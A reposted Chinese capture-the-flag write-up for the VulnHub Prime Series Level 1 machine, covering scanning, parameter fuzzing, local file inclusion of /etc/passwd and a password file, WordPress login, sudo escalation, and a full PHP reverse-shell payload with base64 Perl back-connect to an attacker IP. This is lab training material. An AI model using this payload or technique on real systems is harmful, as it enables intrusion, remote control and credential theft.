VulnHub Prime_Series_Level-1

news2024/11/16 13:32:28

一、信息收集

1.nmap扫描

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.202

发现开放了22和80端口

2.web页面

打开80端口的web页面,是一张静态的图片,没什么价值,看看页面源代码

右击查看网页源代码,也没有发现什么有价值的信息

3.目录扫描

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.202

扫描发现有/dev、/javascript、/wordpress/wp-login.php目录

/dev这个目录比较可疑,不常见,访问下看看

他提示我们,要非常努力的使用工具去深挖web。说明我们的扫描还没有扫描完全,没有挖透,所以,这里利用dirb + X参数目录扫描工具再进行加一些参数,搞一个字典再进行目录爆破

我们可以选择带有.txt和.zip的一些文件后缀名再进行目录扫描一下

┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt

打开一下这个扫描出来的.txt文件,查看一下文件内容:

下面圈起来,就是以下内容提示的重点了

//解释:
在你发现的每个php页面进行模糊测试吧,如果你得到了任何正确的参数,就跟着如下的步骤进行。
如果你依然卡住,学习一些OSCP基本工具的使用,
链接是https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web,
当你有了下一步进展之后去看看location.txt

并给出了模糊测试工具的github链接,同时还提示了我们有了下一步进展之后去看看location.txt。那么我们首先要做的应该是去寻找php页面。依旧使用dirb

┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt,.php

两个.php:image.php index.php

二、漏洞利用

1.wfuzz

先查看下那个gethub提示的那个链接:

可找到参数应该是-c高亮显示,-w 使用字典进行尝试,把需要测试的页面改为image.php即可,github链接中还给出了范例命令

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something

测试.php的目录命令,如下:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.103.202/index.php?FUZZ=

这个结果可以看到,列表中的Chars列基本都是136 Ch

使用参数--hh 136 进行过滤,显示Chars列结果不含136的payload

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.103.202/index.php?FUZZ

成功找到了一个payload!名为file,这应该是我们要关注的位置。我们用curl或浏览器查看192.168.103.202/index.php?file

curl 192.168.103.202/index.php?file

发现比起前面的图片,多了这两句话

他这里提示,我们挖错文件了。

想起了刚才的secret.txt提示我们有了下一步进展之后去看看location.txt,那我们就把location.txt作为参数传给file试试:

curl http://192.168.103.202/index.php?file=location.txt

提示修改传参的参数,并且使用别的.php文件:

curl http://192.168.103.202/image.php?secrettier360

提示我,说拿到了正确的参数,现在可以用这个参数进行传参数了,这个一看传参,就想到了应该会有文件包含漏洞

2.文件包含

先不管啥,一般文件包含,先试试读取一下/etc/passwd文件

发现成功读取到了/etc/passwd

http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd

成功读取并回显了/etc/passwd,浏览器的效果看的头晕,还是用curl看一下**

┌──(root💀kali)-[~/桌面]
└─# curl http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd

发现root,victor账户有bash环境,同时还在saket发现一句话,find password.txt file in my directory:/home/saket莫非是提醒我们在/home/saket/password.txt存在信息? 那我们再用文件包含看一下/home/saket/password.txt

文件包含漏洞访问之后,password.txt中写了follow_the_ippsec ,怀疑这可能是某个账号的密码,应该是个很关键的信息。最后再试试能不能直接访问/etc/shadow。很遗憾,并不行,浏览器和curl都无法看到回显。

3.wordpress CMS渗透

follow_the_ippsec应该就是一个密码,开始发现了开启了22端口,所以,试试ssh登录,账号用开始/etc/passwd上面的root,victor,saket,但是发现都失败了

之前的那个用dirb扫描的目录,还有一个wordpress,这个还没有去渗透测试,所以,现在把方向放wordpress上面

说不定是wordpress这个cms的后台登录密码

先访问目录:

发现用户名:victor用户

这个是wp的默认登录位置:

http://192.168.103.202/wordpress/wp-admin/

发现,成功登录进去了

用户名:victor
密码:follow_the_ippsec

通过这个步骤,去找找里面哪些具有可写,可执行,且具有可以保存的功能的.php文件

之前写过一个这种类似的,可以利用404.php来写入一个反弹shell的木马,但是这个WP,发现没有提交这个功能,所以得去找,哪个具有可写入以及可提交的.php文件

然后再secret.php文件找到可以写入,并且有提交保存的功能的.php文件

/* Ohh Finaly you got a writable file */

4.反弹shell

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

点击提交保存成功

在这里面可以找到哪个secret.php的文件上传的位置

/themes/twentynineteen/

因此我们要访问的路径就是/themes/twentynineteen/secret.php,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:

http://192.168.103.202/wordpress/wp-content/themes/twentynineteen/secret.php

python -c 'import pty; pty.spawn ("/bin/bash")'  #交互式shell

可以看到反弹成功了

三、提权

1.user.flag

开始我是直接到/home,查看有什么可以利用的账户,发现了saket账户里面有passwd和user

账号:saket
密码:tribute_to_ippsec

user.txt是一串数字,这应该就是user的flag

2.ssh连接

账号:saket
密码:tribute_to_ippsec

python -c "import pty;pty.spawn('/bin/bash')"  #交互式shell

3.sudo提权

提示我们,可以无密码的形式以root运行/home/victor/undefeated_victor,那咱就运行试试:

sudo /home/victor/undefeated_victor

我们去/tmp目录下看看有没有这个challenge文件,发现确实不存在

echo的方式创建challenge并追加命令:

echo '#!/bin/bash' > challenge
echo '/bin/bash' >> challenge

saket@ubuntu:/tmp$ chmod -R 777 challenge
saket@ubuntu:/tmp$ ls -la
-rwxrwxrwx  1 saket    saket      22 Nov  8 21:09 challenge

这样应该就可以执行了,再次执行/home/victor/undefeated_victor,即可提权成功

sudo /home/victor/undefeated_victor

4.root.flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1201069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Seata源码学习 】 扫描@GlobalTransaction注解 篇一

1. SeataAutoConfiguration 自动配置类的加载 基于SpringBoot的starter机制&#xff0c;在应用上下文启动时&#xff0c;会加载SeataAutoConfiguration自动配置类 # Auto Configure org.springframework.boot.autoconfigure.EnableAutoConfigurationio.seata.spring.boot.aut…

探寻知识的新路径——电大搜题助您开启学习新纪元

江西开放大学和广播电视大学一直以来都是许多自学者和职场人士追寻知识的圣地。然而&#xff0c;对于许多学子来说&#xff0c;学习的过程也常常充满了困惑和挑战。为了帮助这些学习者通过更高效、便捷的方式获取知识&#xff0c;江西开放大学推出了一款创新的学习工具——电大…

谈谈越来越无效的拥塞控制

简单看一个图&#xff1a; 它不是互联网本身&#xff0c;但这是典型网络的必要组件&#xff0c;它决定了 flow 如何从从一边流向另一边&#xff1a;一条 flow 经过交换节点通过 NIC 被导入一条链路前在 buffer 中排队。 现如今大多数工程师的工作都在折腾那个单独的盒子&…

231112-中文错别字识别与纠正问题的大模型与小模型调研

A. 引言 当前&#xff0c;以ChatGPT为代表的大语言模型&#xff08;Large Language Models, LLMs&#xff09;正引领着新一轮工业革命。ChatGPT最开始的研究领域隶属于NLP的一个子问题&#xff0c;其输入是text&#xff0c;输出也是text。在从文本输入到文本输出的诸多应用场景…

C语言从入门到精通之【概述】

#include指令和头文件 例如#include <stdio.h>&#xff0c;我们经常看到C文件最上面会有类似这样的语句&#xff0c;它的作用相当于把stdio.h文件中的所有内容都输入该行所在的位置。实际上&#xff0c;这是一种“拷贝-粘贴”的操作。 #include这行代码是一条C预处理器…

Smart Link 和 Monitor Link应用

定义 Smart Link常用于双上行链路组网&#xff0c;提高接入的可靠性。 Monitor Link通过监视上行接口&#xff0c;使下行接口同步上行接口状态&#xff0c;起到传递故障信息的作用。 Smart Link&#xff0c;又叫做备份链路。一个Smart Link由两个接口组成&#xff0c;其中一个…

木疙瘩踩坑日记-容易忽略的一些BUG

在一开始玩家务必很清楚这三个概念 图形&#xff1a;舞台上元素的最小单位。软件自带的以及外部导入的图片默认都是图形&#xff01;最朴素的元素&#xff01;可以添加预制动画、关键帧动画、进度动画&#xff08;软件自带的形状&#xff09; 元件&#xff1a;一个可以内部封…

高性能收发原始数据包的框架(Netmap)

一、Netmap 简介 Netmap 是一个高性能收发原始数据包的框架&#xff0c;由 Luigi Rizzo 等人开发完成&#xff0c;其包含了内核模块以及用户态库函数。其目标是&#xff0c;不修改现有操作系统软件以及不需要特殊硬件支持&#xff0c;实现用户态和网卡之间数据包的高性能传递。…

Git系列之分支与标签的使用及应用场景模拟

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是君易--鑨&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的博客专栏《Git实战开发》。&#x1f3af;&#x1f3af; &a…

【网络奇遇记】我和因特网的初相遇2 —— 三种交换方式

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;网络奇遇记、数据结构 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 前言一. 电路交换1.1 电路交换讲解1.2 电路交换实例 二. 分组交换1.1 分组交换讲解1.2 分组交换实例…

Go 14岁了

今天我们庆祝Go开源十四周年&#xff01;Go度过了美好的一年&#xff0c;发布了两个功能齐全的版本和其他重要的里程碑。 我们在2月份发布了Go 1.20&#xff0c;在8月份发布了Go 1.21&#xff0c;更多地关注实现改进而不是新的语言更改。 在Go 1.20中&#xff0c;我们预览了配置…

基于Python+Django的图书管理系统

项目介绍 图书是人类文明传播的一个重要方式&#xff0c;很多历史悠久的文明都是通过图书来进行传递的&#xff0c;虽然随着时代的进步电子信息技术发展很快&#xff0c;但是纸质图书的地位仍然是非常稳固的&#xff0c;为了能够让知识拥有更加快捷方便的传递方式我们开发了本…

Typora-PicGo-七牛云图床

Typora-PicGo-七牛云图床 问题描述&#xff1a; 每次使用Typora写完笔记后&#xff0c;想要将笔记上传至CSDN会发现一个问题&#xff0c;由于没有配置图床&#xff0c;笔记中的图片需要一张一张的上传到CSDN&#xff0c;非常麻烦&#xff0c;若使用PicGo并搭配七牛云的10G免费…

Django配置文件,request,链接mysql方法,Orm简介

三板斧问题(views.py) HttpResponse # 返回的是字符串render # 渲染一个HTML静态文件&#xff0c;模板文件redirect # 重定向的 在视图文件中得视图函数必须要接收一个形参request&#xff0c;并且&#xff0c;视图函数也要有返回值&#xff…

Linux - 基础IO(重定向 - 重定向模拟实现 - shell 当中的 重定向)- 下篇

前言 上一篇博客当中&#xff0c;我们对 文件 在操作系统当中是 如何就管理的&#xff0c;这个问题做了 详细描述&#xff0c;本篇博客将基于上篇 博客当中的内容进行 阐述&#xff0c;如有疑问&#xff0c;请参考上篇博客&#xff1a; Linux - 基础IO&#xff08;Linux 当中…

matlab 多自由度的车辆垂向振动模型 车辆平稳性研究

1、内容简介 略 17-可以交流、咨询、答疑 多自由度的车辆垂向振动模型 多自由度的车辆垂向振动模型&#xff0c;包含四分之一车体模型、半车模型和整车模型 垂向振动模型、四分之一车体模型、半车模型和整车模型 2、内容说明 略 3、仿真分析 略 4、参考论文 略 链接&…

第七章 块为结构建模 P3|系统建模语言SysML实用指南学习

仅供个人学习记录 块行为建模 块提供了行为情境&#xff0c;行为这个 SysML 词条覆盖了块如何处理输如/输出和其内部状态改变的所有描述。 块可以指定某个行为作为其主行为或者分类器行为&#xff0c;该行为在块实例化后启动执行。其他行为可以指定为方法&#xff0c;提供了处…

人机交互——自然语言生成

自然语言生成是让计算机自动或半自动地生成自然语言的文本。这个领域涉及到自然语言处理、语言学、计算机科学等多个领域的知识。 1.简介 自然语言生成系统可以分为基于规则的方法和基于统计的方法两大类。基于规则的方法主要依靠专家知识库和语言学规则来生成文本&#xff0…

【Redis】list列表

上一篇&#xff1a; String 类型 https://blog.csdn.net/m0_67930426/article/details/134362606?spm1001.2014.3001.5501 目录 Lpush LRange Rpush Lpop Rpop Lindex Ltrim Lset 列表不存在的情况 如果列表存在 Linsert ​编辑 在………之前插入 在……后面插入…

Windows系统安装Redis、配置环境变量

系列文章目录 第一章 Java线程池技术应用 第二章 CountDownLatch和Semaphone的应用 第三章 Spring Cloud 简介 第四章 Spring Cloud Netflix 之 Eureka 第五章 Spring Cloud Netflix 之 Ribbon 第六章 Spring Cloud 之 OpenFeign 第七章 Spring Cloud 之 GateWay 第八章 Sprin…